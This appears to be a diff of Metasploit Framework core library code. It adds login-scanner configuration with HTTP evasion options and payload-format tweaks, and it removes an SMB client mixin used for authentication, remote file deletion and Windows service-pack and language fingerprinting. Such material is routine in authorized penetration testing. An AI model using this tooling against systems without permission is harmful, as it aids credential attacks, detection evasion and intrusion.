'headers' => {
|
||||
'Cookie' => "zbx_sessionid=#{self.zsession}"
|
||||
}
|
||||
}
|
||||
res = send_request(opts)
|
||||
if (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: User profile<\/title>/)
|
||||
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
|
||||
end
|
||||
end
|
||||
|
||||
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -51,8 +51,7 @@ module Metasploit
|
|||
|
||||
# Send a prelogin packet and check that encryption is not enabled
|
||||
if mssql_prelogin() != ENCRYPT_NOT_SUP
|
||||
print_error("Encryption is not supported")
|
||||
return false
|
||||
raise ::Rex::ConnectionError, "Encryption is not supported"
|
||||
end
|
||||
|
||||
if windows_authentication
|
||||
|
|
|
@ -25,6 +25,8 @@ module Buffer
|
|||
when 'raw'
|
||||
when 'num'
|
||||
buf = Rex::Text.to_num(buf)
|
||||
when 'hex'
|
||||
buf = Rex::Text.to_hex(buf, '')
|
||||
when 'dword', 'dw'
|
||||
buf = Rex::Text.to_dword(buf)
|
||||
when 'python', 'py'
|
||||
|
@ -65,7 +67,7 @@ module Buffer
|
|||
def self.comment(buf, fmt = "ruby")
|
||||
case fmt
|
||||
when 'raw'
|
||||
when 'num', 'dword', 'dw'
|
||||
when 'num', 'dword', 'dw', 'hex'
|
||||
buf = Rex::Text.to_js_comment(buf)
|
||||
when 'ruby', 'rb', 'python', 'py'
|
||||
buf = Rex::Text.to_ruby_comment(buf)
|
||||
|
@ -98,6 +100,7 @@ module Buffer
|
|||
'csharp',
|
||||
'dw',
|
||||
'dword',
|
||||
'hex',
|
||||
'java',
|
||||
'js_be',
|
||||
'js_le',
|
||||
|
|
|
@ -75,6 +75,12 @@ require 'msf/http/jboss'
|
|||
# Kerberos Support
|
||||
require 'msf/kerberos/client'
|
||||
|
||||
# Java RMI Support
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
# Java JMX Support
|
||||
require 'msf/java/jmx'
|
||||
|
||||
# Drivers
|
||||
require 'msf/core/exploit_driver'
|
||||
|
||||
|
|
|
@ -43,6 +43,13 @@ class DataStore < Hash
|
|||
super(find_key_case(k), v)
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around delete
|
||||
#
|
||||
def delete(k)
|
||||
super(find_key_case(k))
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Updates a value in the datastore with the specified name, k, to the
|
||||
|
|
|
@ -48,7 +48,7 @@ module Exploit::EXE
|
|||
end
|
||||
|
||||
def generate_payload_exe(opts = {})
|
||||
return get_custom_exe if datastore.include? 'EXE::Custom'
|
||||
return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty?
|
||||
return get_eicar_exe if datastore['EXE::EICAR']
|
||||
|
||||
exe_init_options(opts)
|
||||
|
@ -73,7 +73,7 @@ module Exploit::EXE
|
|||
end
|
||||
|
||||
def generate_payload_exe_service(opts = {})
|
||||
return get_custom_exe if datastore.include? 'EXE::Custom'
|
||||
return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty?
|
||||
return get_eicar_exe if datastore['EXE::EICAR']
|
||||
|
||||
exe_init_options(opts)
|
||||
|
@ -96,7 +96,7 @@ module Exploit::EXE
|
|||
end
|
||||
|
||||
def generate_payload_dll(opts = {})
|
||||
return get_custom_exe if datastore.include? 'EXE::Custom'
|
||||
return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty?
|
||||
return get_eicar_exe if datastore['EXE::EICAR']
|
||||
|
||||
exe_init_options(opts)
|
||||
|
@ -125,7 +125,7 @@ module Exploit::EXE
|
|||
end
|
||||
|
||||
def generate_payload_msi(opts = {})
|
||||
return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom'
|
||||
return get_custom_exe(datastore['MSI::Custom']) unless datastore['MSI::Custom'].to_s.strip.empty?
|
||||
return get_eicar_exe if datastore['MSI::EICAR']
|
||||
|
||||
exe = generate_payload_exe(opts)
|
||||
|
|
|
@ -210,6 +210,54 @@ module Exploit::Remote::HttpClient
|
|||
return nclient
|
||||
end
|
||||
|
||||
#
|
||||
# Converts datastore options into configuration parameters for the
|
||||
# Metasploit::LoginScanner::Http class. Any parameters passed into
|
||||
# this method will override the defaults.
|
||||
#
|
||||
def configure_http_login_scanner(conf)
|
||||
{
|
||||
host: rhost,
|
||||
port: rport,
|
||||
ssl: ssl,
|
||||
ssl_version: ssl_version,
|
||||
proxies: datastore['PROXIES'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
vhost: vhost,
|
||||
user_agent: datastore['UserAgent'],
|
||||
evade_uri_encode_mode: datastore['HTTP::uri_encode_mode'],
|
||||
evade_uri_full_url: datastore['HTTP::uri_full_url'],
|
||||
evade_pad_method_uri_count: datastore['HTTP::pad_method_uri_count'],
|
||||
evade_pad_uri_version_count: datastore['HTTP::pad_uri_version_count'],
|
||||
evade_pad_method_uri_type: datastore['HTTP::pad_method_uri_type'],
|
||||
evade_pad_uri_version_type: datastore['HTTP::pad_uri_version_type'],
|
||||
evade_method_random_valid: datastore['HTTP::method_random_valid'],
|
||||
evade_method_random_invalid: datastore['HTTP::method_random_invalid'],
|
||||
evade_method_random_case: datastore['HTTP::method_random_case'],
|
||||
evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'],
|
||||
evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'],
|
||||
evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'],
|
||||
evade_pad_fake_headers: datastore['HTTP::pad_fake_headers'],
|
||||
evade_pad_fake_headers_count: datastore['HTTP::pad_fake_headers_count'],
|
||||
evade_pad_get_params: datastore['HTTP::pad_get_params'],
|
||||
evade_pad_get_params_count: datastore['HTTP::pad_get_params_count'],
|
||||
evade_pad_post_params: datastore['HTTP::pad_post_params'],
|
||||
evade_pad_post_params_count: datastore['HTTP::pad_post_params_count'],
|
||||
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
|
||||
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
|
||||
evade_header_folding: datastore['HTTP::header_folding'],
|
||||
ntlm_use_ntlmv2_session: datastore['NTLM::UseNTLM2_session'],
|
||||
ntlm_use_ntlmv2: datastore['NTLM::UseNTLMv2'],
|
||||
ntlm_send_lm: datastore['NTLM::SendLM'],
|
||||
ntlm_send_ntlm: datastore['NTLM::SendNTLM'],
|
||||
ntlm_send_spn: datastore['NTLM::SendSPN'],
|
||||
ntlm_use_lm_key: datastore['NTLM::UseLMKey'],
|
||||
ntlm_domain: datastore['DOMAIN'],
|
||||
digest_auth_iis: datastore['DigestAuthIIS']
|
||||
}.merge(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Passes the client connection down to the handler to see if it's of any
|
||||
# use.
|
||||
|
|
|
@ -28,9 +28,11 @@ require 'msf/core/exploit/ipv6'
|
|||
require 'msf/core/exploit/dhcp'
|
||||
require 'msf/core/exploit/ntlm'
|
||||
require 'msf/core/exploit/dcerpc'
|
||||
require 'msf/core/exploit/smb'
|
||||
require 'msf/core/exploit/smb/authenticated'
|
||||
require 'msf/core/exploit/smb/psexec'
|
||||
require 'msf/core/exploit/smb/client'
|
||||
require 'msf/core/exploit/smb/client/authenticated'
|
||||
require 'msf/core/exploit/smb/client/psexec'
|
||||
require 'msf/core/exploit/smb/server'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'msf/core/exploit/ftp'
|
||||
require 'msf/core/exploit/tftp'
|
||||
require 'msf/core/exploit/telnet'
|
||||
|
|
|
@ -52,7 +52,7 @@ module Exploit::NTLM
|
|||
# SendSPN will send an avp of type 9/SPN in the ntlmv2 client blob, this is mandatory on windows seven / 2008 r2 if
|
||||
# Microsoft network server : Server SPN target name validation level is set to <Required from client> or we get an STATUS_ACCESS_DENIED
|
||||
#
|
||||
OptBool.new('NTLM::SendSPN', [ true, 'Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required', true]),
|
||||
OptBool.new('NTLM::SendSPN', [ true, 'Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required', true]),
|
||||
], Msf::Exploit::NTLM::Client)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -20,6 +20,8 @@ require 'msf/core/exploit/jsobfu'
|
|||
module Msf
|
||||
module Exploit::Remote::BrowserExploitServer
|
||||
|
||||
class BESException < RuntimeError; end
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
include Msf::Exploit::JSObfu
|
||||
|
@ -521,7 +523,13 @@ module Msf
|
|||
try_set_target(profile)
|
||||
bad_reqs = get_bad_requirements(profile)
|
||||
if bad_reqs.empty?
|
||||
method(:on_request_exploit).call(cli, request, profile)
|
||||
begin
|
||||
method(:on_request_exploit).call(cli, request, profile)
|
||||
rescue BESException => e
|
||||
elog("BESException: #{e.message}\n#{e.backtrace * "\n"}")
|
||||
send_not_found(cli)
|
||||
print_error("BESException: #{e.message}")
|
||||
end
|
||||
else
|
||||
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx")
|
||||
if bad_reqs.include?(:vuln_test)
|
||||
|
@ -586,7 +594,15 @@ module Msf
|
|||
platform = platform.gsub(/^Mac OS X$/, 'OSX')
|
||||
platform = platform.gsub(/^Windows.*$/, 'Windows')
|
||||
|
||||
regenerate_payload(cli, platform, arch).encoded
|
||||
p = regenerate_payload(cli, platform, arch)
|
||||
|
||||
unless p.arch.include?(arch)
|
||||
err = "The payload arch (#{p.arch * ", "}) is incompatible with the #{arch} target. "
|
||||
err << "Please check your payload setting."
|
||||
raise BESException, err
|
||||
end
|
||||
|
||||
return p.encoded
|
||||
end
|
||||
|
||||
# @return [String] custom Javascript to check if a vulnerability is present
|
||||
|
|
|
@ -1,645 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/smb'
|
||||
require 'rex/proto/ntlm'
|
||||
require 'rex/proto/dcerpc'
|
||||
require 'rex/encoder/ndr'
|
||||
|
||||
module Msf
|
||||
|
||||
require 'msf/core/exploit/smb_server'
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides utility methods for interacting with a SMB/CIFS service on
|
||||
# a remote machine. These methods may generally be useful in the context of
|
||||
# exploitation. This mixin extends the Tcp exploit mixin. Only one SMB
|
||||
# service can be accessed at a time using this class.
|
||||
#
|
||||
###
|
||||
|
||||
module Exploit::Remote::SMB
|
||||
|
||||
include Exploit::Remote::Tcp
|
||||
include Exploit::Remote::NTLM::Client
|
||||
|
||||
SIMPLE = Rex::Proto::SMB::SimpleClient
|
||||
XCEPT = Rex::Proto::SMB::Exceptions
|
||||
CONST = Rex::Proto::SMB::Constants
|
||||
|
||||
|
||||
# Alias over the Rex DCERPC protocol modules
|
||||
DCERPCPacket = Rex::Proto::DCERPC::Packet
|
||||
DCERPCClient = Rex::Proto::DCERPC::Client
|
||||
DCERPCResponse = Rex::Proto::DCERPC::Response
|
||||
DCERPCUUID = Rex::Proto::DCERPC::UUID
|
||||
NDR = Rex::Encoder::NDR
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_evasion_options(
|
||||
[
|
||||
OptBool.new('SMB::pipe_evasion', [ true, 'Enable segmented read/writes for SMB Pipes', false]),
|
||||
OptInt.new('SMB::pipe_write_min_size', [ true, 'Minimum buffer size for pipe writes', 1]),
|
||||
OptInt.new('SMB::pipe_write_max_size', [ true, 'Maximum buffer size for pipe writes', 1024]),
|
||||
OptInt.new('SMB::pipe_read_min_size', [ true, 'Minimum buffer size for pipe reads', 1]),
|
||||
OptInt.new('SMB::pipe_read_max_size', [ true, 'Maximum buffer size for pipe reads', 1024]),
|
||||
OptInt.new('SMB::pad_data_level', [ true, 'Place extra padding between headers and data (level 0-3)', 0]),
|
||||
OptInt.new('SMB::pad_file_level', [ true, 'Obscure path names used in open/create (level 0-3)', 0]),
|
||||
OptInt.new('SMB::obscure_trans_pipe_level', [ true, 'Obscure PIPE string in TransNamedPipe (level 0-3)', 0]),
|
||||
|
||||
], Msf::Exploit::Remote::SMB)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
|
||||
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
|
||||
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
|
||||
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
|
||||
OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']),
|
||||
OptBool.new('SMB::VerifySignature', [ true, "Enforces client-side verification of server response signatures", false]),
|
||||
OptInt.new('SMB::ChunkSize', [ true, 'The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing', 500]),
|
||||
#
|
||||
# Control the identified operating system of the client
|
||||
#
|
||||
OptString.new('SMB::Native_OS', [ true, 'The Native OS to send during authentication', 'Windows 2000 2195']),
|
||||
OptString.new('SMB::Native_LM', [ true, 'The Native LM to send during authentication', 'Windows 2000 5.0']),
|
||||
|
||||
], Msf::Exploit::Remote::SMB)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
OptInt.new('RPORT', [ true, 'Set the SMB service port', 445])
|
||||
], Msf::Exploit::Remote::SMB)
|
||||
|
||||
register_autofilter_ports([ 139, 445])
|
||||
register_autofilter_services(%W{ netbios-ssn microsoft-ds })
|
||||
end
|
||||
|
||||
# Override {Exploit::Remote::Tcp#connect} to setup an SMB connection
|
||||
# and configure evasion options
|
||||
#
|
||||
# Also populates {#simple}.
|
||||
#
|
||||
# @param (see Exploit::Remote::Tcp#connect)
|
||||
# @return (see Exploit::Remote::Tcp#connect)
|
||||
def connect(global=true)
|
||||
|
||||
disconnect() if global
|
||||
|
||||
s = super(global)
|
||||
self.sock = s if global
|
||||
|
||||
# Disable direct SMB when SMBDirect has not been set
|
||||
# and the destination port is configured as 139
|
||||
direct = smb_direct
|
||||
if(datastore.default?('SMBDirect') and rport.to_i == 139)
|
||||
direct = false
|
||||
end
|
||||
|
||||
c = SIMPLE.new(s, direct)
|
||||
|
||||
# setup pipe evasion foo
|
||||
if datastore['SMB::pipe_evasion']
|
||||
# XXX - insert code to change the instance of the read/write functions to do segmentation
|
||||
end
|
||||
|
||||
if (datastore['SMB::pad_data_level'])
|
||||
c.client.evasion_opts['pad_data'] = datastore['SMB::pad_data_level']
|
||||
end
|
||||
|
||||
if (datastore['SMB::pad_file_level'])
|
||||
c.client.evasion_opts['pad_file'] = datastore['SMB::pad_file_level']
|
||||
end
|
||||
|
||||
if (datastore['SMB::obscure_trans_pipe_level'])
|
||||
c.client.evasion_opts['obscure_trans_pipe'] = datastore['SMB::obscure_trans_pipe_level']
|
||||
end
|
||||
|
||||
self.simple = c if global
|
||||
c
|
||||
end
|
||||
|
||||
# Convert a standard ASCII string to 16-bit Unicode
|
||||
def unicode(str)
|
||||
Rex::Text.to_unicode(str)
|
||||
end
|
||||
|
||||
# Establishes an SMB session over the default socket and connects to
|
||||
# the IPC$ share.
|
||||
#
|
||||
# You should call {#connect} before calling this
|
||||
#
|
||||
# @return [void]
|
||||
def smb_login
|
||||
simple.login(
|
||||
datastore['SMBName'],
|
||||
datastore['SMBUser'],
|
||||
datastore['SMBPass'],
|
||||
datastore['SMBDomain'],
|
||||
datastore['SMB::VerifySignature'],
|
||||
datastore['NTLM::UseNTLMv2'],
|
||||
datastore['NTLM::UseNTLM2_session'],
|
||||
datastore['NTLM::SendLM'],
|
||||
datastore['NTLM::UseLMKey'],
|
||||
datastore['NTLM::SendNTLM'],
|
||||
datastore['SMB::Native_OS'],
|
||||
datastore['SMB::Native_LM'],
|
||||
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
|
||||
)
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
end
|
||||
|
||||
|
||||
# This method returns the native operating system of the peer
|
||||
def smb_peer_os
|
||||
self.simple.client.peer_native_os
|
||||
end
|
||||
|
||||
# This method returns the native lanman version of the peer
|
||||
def smb_peer_lm
|
||||
self.simple.client.peer_native_lm
|
||||
end
|
||||
|
||||
# This method opens a handle to an IPC pipe
|
||||
def smb_create(pipe)
|
||||
self.simple.create_pipe(pipe)
|
||||
end
|
||||
|
||||
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
|
||||
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
|
||||
#fd.chunk_size = 500 is better
|
||||
def smb_open(path, perm)
|
||||
self.simple.open(path, perm, datastore['SMB::ChunkSize'])
|
||||
end
|
||||
|
||||
def smb_hostname
|
||||
datastore['SMBName'] || '*SMBSERVER'
|
||||
end
|
||||
|
||||
def smb_direct
|
||||
datastore['SMBDirect']
|
||||
end
|
||||
|
||||
def domain
|
||||
datastore['SMBDomain']
|
||||
end
|
||||
|
||||
def smbhost
|
||||
if domain == "."
|
||||
"#{rhost}:#{rport}"
|
||||
else
|
||||
"#{rhost}:#{rport}|#{domain}"
|
||||
end
|
||||
end
|
||||
|
||||
# If the username contains a / slash, then
|
||||
# split it as a domain/username. NOTE: this
|
||||
# is predicated on forward slashes, and not
|
||||
# Microsoft's backwards slash convention.
|
||||
def domain_username_split(user)
|
||||
return user if(user.nil? || user.empty?)
|
||||
if !user[/\//] # Only /, not \!
|
||||
return [nil,user]
|
||||
else
|
||||
return user.split("/",2)
|
||||
end
|
||||
end
|
||||
|
||||
def splitname(uname)
|
||||
if datastore["PRESERVE_DOMAINS"]
|
||||
d,u = domain_username_split(uname)
|
||||
return u
|
||||
else
|
||||
return uname
|
||||
end
|
||||
end
|
||||
|
||||
# Whether a remote file exists
|
||||
#
|
||||
# @param file [String] Path to a file to remove, relative to the
|
||||
# most-recently connected share
|
||||
# @raise [Rex::Proto::SMB::Exceptions::ErrorCode]
|
||||
def smb_file_exist?(file)
|
||||
begin
|
||||
fd = simple.open(file, 'ro')
|
||||
rescue XCEPT::ErrorCode => e
|
||||
# If attempting to open the file results in a "*_NOT_FOUND" error,
|
||||
# then we can be sure the file is not there.
|
||||
#
|
||||
# Copy-pasted from smb/exceptions.rb to avoid the gymnastics
|
||||
# required to pull them out of a giant inverted hash
|
||||
#
|
||||
# 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND",
|
||||
# 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND",
|
||||
# 0xC0000225 => "STATUS_NOT_FOUND",
|
||||
error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code)
|
||||
# If the server returns some other error, then there was a
|
||||
# permissions problem or some other difficulty that we can't
|
||||
# really account for and hope the caller can deal with it.
|
||||
raise e unless error_is_not_found
|
||||
found = !error_is_not_found
|
||||
else
|
||||
# There was no exception, so we know the file is openable
|
||||
fd.close
|
||||
found = true
|
||||
end
|
||||
|
||||
found
|
||||
end
|
||||
|
||||
# Remove remote file
|
||||
#
|
||||
# @param file (see #smb_file_exist?)
|
||||
# @return [void]
|
||||
def smb_file_rm(file)
|
||||
fd = smb_open(file, 'ro')
|
||||
fd.delete
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Fingerprinting methods
|
||||
#
|
||||
|
||||
|
||||
# Calls the EnumPrinters() function of the spooler service
|
||||
def smb_enumprinters(flags, name, level, blen)
|
||||
stub =
|
||||
NDR.long(flags) +
|
||||
(name ? NDR.uwstring(name) : NDR.long(0)) +
|
||||
NDR.long(level) +
|
||||
NDR.long(rand(0xffffffff)+1)+
|
||||
NDR.long(blen) +
|
||||
"\x00" * blen +
|
||||
NDR.long(blen)
|
||||
|
||||
handle = dcerpc_handle(
|
||||
'12345678-1234-abcd-ef00-0123456789ab', '1.0',
|
||||
'ncacn_np', ["\\SPOOLSS"]
|
||||
)
|
||||
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
dcerpc.call(0x00, stub)
|
||||
return dcerpc.last_response.stub_data
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# This method dumps the print provider strings from the spooler
|
||||
def smb_enumprintproviders
|
||||
resp = smb_enumprinters(8, nil, 1, 0)
|
||||
return nil if not resp
|
||||
rptr, tmp, blen = resp.unpack("V*")
|
||||
|
||||
resp = smb_enumprinters(8, nil, 1, blen)
|
||||
return nil if not resp
|
||||
|
||||
bcnt,pcnt,stat = resp[-12, 12].unpack("VVV")
|
||||
return nil if stat != 0
|
||||
return nil if pcnt == 0
|
||||
return nil if bcnt > blen
|
||||
return nil if pcnt < 3
|
||||
|
||||
#
|
||||
# The correct way, which leads to invalid offsets :-(
|
||||
#
|
||||
#providers = []
|
||||
#
|
||||
#0.upto(pcnt-1) do |i|
|
||||
# flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV")
|
||||
#
|
||||
# #desc = read_unicode(resp,8+desc_o).gsub("\x00", '')
|
||||
# #name = read_unicode(resp,8+name_o).gsub("\x00", '')
|
||||
# #comm = read_unicode(resp,8+comm_o).gsub("\x00", '')
|
||||
# #providers << [flags,desc,name,comm]
|
||||
#end
|
||||
#
|
||||
#providers
|
||||
|
||||
return resp
|
||||
|
||||
end
|
||||
|
||||
# This method performs an extensive set of fingerprinting operations
|
||||
def smb_fingerprint
|
||||
fprint = {}
|
||||
|
||||
# Connect to the server if needed
|
||||
if not self.simple
|
||||
connect()
|
||||
smb_login()
|
||||
end
|
||||
|
||||
fprint['native_os'] = smb_peer_os()
|
||||
fprint['native_lm'] = smb_peer_lm()
|
||||
|
||||
# Leverage Recog for SMB native OS fingerprinting
|
||||
fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { }
|
||||
|
||||
os = fp_match['os.product'] || 'Unknown'
|
||||
sp = fp_match['os.version'] || ''
|
||||
|
||||
# Metasploit prefers 'Windows 2003' vs 'Windows Server 2003'
|
||||
if os =~ /^Windows Server/
|
||||
os = os.sub(/^Windows Server/, 'Windows')
|
||||
end
|
||||
|
||||
if fp_match['os.edition']
|
||||
fprint['edition'] = fp_match['os.edition']
|
||||
end
|
||||
|
||||
if fp_match['os.build']
|
||||
fprint['build'] = fp_match['os.build']
|
||||
end
|
||||
|
||||
if sp == ''
|
||||
sp = smb_fingerprint_windows_sp(os)
|
||||
end
|
||||
|
||||
lang = smb_fingerprint_windows_lang
|
||||
|
||||
fprint['os'] = os
|
||||
fprint['sp'] = sp
|
||||
fprint['lang'] = lang
|
||||
|
||||
fprint
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the service pack level of a Windows system via SMB probes
|
||||
#
|
||||
def smb_fingerprint_windows_sp(os)
|
||||
sp = ''
|
||||
|
||||
if (os == 'Windows XP')
|
||||
# SRVSVC was blocked in SP2
|
||||
begin
|
||||
smb_create("\\SRVSVC")
|
||||
sp = 'Service Pack 0 / 1'
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
if (e.error_code == 0xc0000022)
|
||||
sp = 'Service Pack 2+'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if (os == 'Windows 2000' and sp.length == 0)
|
||||
# LLSRPC was blocked in a post-SP4 update
|
||||
begin
|
||||
smb_create("\\LLSRPC")
|
||||
sp = 'Service Pack 0 - 4'
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
if (e.error_code == 0xc0000022)
|
||||
sp = 'Service Pack 4 with MS05-010+'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Perform granular XP SP checks if LSARPC is exposed
|
||||
#
|
||||
if (os == 'Windows XP')
|
||||
|
||||
#
|
||||
# Service Pack 2 added a range(0,64000) to opnum 0x22 in SRVSVC
|
||||
# Credit to spoonm for first use of unbounded [out] buffers
|
||||
#
|
||||
handle = dcerpc_handle(
|
||||
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
|
||||
'ncacn_np', ["\\BROWSER"]
|
||||
)
|
||||
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
|
||||
stub =
|
||||
NDR.uwstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
|
||||
NDR.wstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
|
||||
NDR.long(64001) +
|
||||
NDR.long(0) +
|
||||
NDR.long(0)
|
||||
|
||||
dcerpc.call(0x22, stub)
|
||||
sp = "Service Pack 0 / 1"
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
|
||||
rescue ::Rex::Proto::DCERPC::Exceptions::Fault
|
||||
sp = "Service Pack 2+"
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Service Pack 3 fixed information leaks via [unique][out] pointers
|
||||
# Call SRVSVC::NetRemoteTOD() to return [out] [ref] [unique]
|
||||
# Credit:
|
||||
# Pointer leak is well known, but Immunity also covered in a paper
|
||||
# Silent fix of pointer leak in SP3 and detection method by Rhys Kidd
|
||||
#
|
||||
handle = dcerpc_handle(
|
||||
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
|
||||
'ncacn_np', ["\\BROWSER"]
|
||||
)
|
||||
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
|
||||
stub = NDR.uwstring(Rex::Text.rand_text_alpha(rand(8)+1))
|
||||
resp = dcerpc.call(0x1c, stub)
|
||||
|
||||
if(resp and resp[0,4] == "\x00\x00\x02\x00")
|
||||
sp = "Service Pack 3"
|
||||
else
|
||||
if(resp and sp =~ /Service Pack 2\+/)
|
||||
sp = "Service Pack 2"
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
|
||||
sp
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Determine the native language pack of a Windows system via SMB probes
|
||||
#
|
||||
def smb_fingerprint_windows_lang
|
||||
|
||||
#
|
||||
# Remote language detection via Print Providers
|
||||
# Credit: http://immunityinc.com/downloads/Remote_Language_Detection_in_Immunity_CANVAS.odt
|
||||
#
|
||||
|
||||
lang = 'Unknown'
|
||||
|
||||
sigs =
|
||||
{
|
||||
'English' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Windows NT Remote Printers'),
|
||||
Rex::Text.to_unicode('LanMan Print Services')
|
||||
],
|
||||
'Spanish' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Impresoras remotas Windows NT'),
|
||||
Rex::Text.to_unicode('Impresoras remotas de Windows NT')
|
||||
],
|
||||
'Italian' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Stampanti remote di Windows NT'),
|
||||
Rex::Text.to_unicode('Servizi di stampa LanMan')
|
||||
],
|
||||
'French' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Imprimantes distantes NT'),
|
||||
Rex::Text.to_unicode('Imprimantes distantes pour Windows NT'),
|
||||
Rex::Text.to_unicode("Services d'impression LanMan")
|
||||
],
|
||||
'German' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Remotedrucker')
|
||||
],
|
||||
'Portuguese - Brazilian' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Impr. remotas Windows NT'),
|
||||
Rex::Text.to_unicode('Impressoras remotas do Windows NT')
|
||||
],
|
||||
'Portuguese' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Imp. remotas do Windows NT')
|
||||
],
|
||||
'Hungarian' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x54\xe1\x76\x6f\x6c\x69\x20\x6e\x79\x6f\x6d\x74\x61\x74\xf3\x6b")
|
||||
],
|
||||
'Finnish' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x45\x74\xe4\x74\x75\x6c\x6f\x73\x74\x69\x6d\x65\x74")
|
||||
],
|
||||
'Dutch' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Externe printers voor NT')
|
||||
],
|
||||
'Danish' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Fjernprintere')
|
||||
],
|
||||
'Swedish' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x46\x6a\xe4\x72\x72\x73\x6b\x72\x69\x76\x61\x72\x65")
|
||||
],
|
||||
'Polish' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Zdalne drukarki')
|
||||
],
|
||||
'Czech' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x56\x7a\x64\xe1\x6c\x65\x6e\xe9\x20\x74\x69\x73\x6b\xe1\x72\x6e\x79")
|
||||
],
|
||||
'Turkish' =>
|
||||
[
|
||||
"\x59\x00\x61\x00\x7a\x00\x31\x01\x63\x00\x31\x01\x6c\x00\x61\x00\x72\x00"
|
||||
],
|
||||
'Japanese' =>
|
||||
[
|
||||
"\xea\x30\xe2\x30\xfc\x30\xc8\x30\x20\x00\xd7\x30\xea\x30\xf3\x30\xbf\x30"
|
||||
],
|
||||
'Chinese - Traditional' =>
|
||||
[
|
||||
"\xdc\x8f\x0b\x7a\x53\x62\x70\x53\x3a\x67"
|
||||
],
|
||||
'Chinese - Traditional / Taiwan' =>
|
||||
[
|
||||
"\x60\x90\xef\x7a\x70\x53\x68\x88\x5f\x6a",
|
||||
],
|
||||
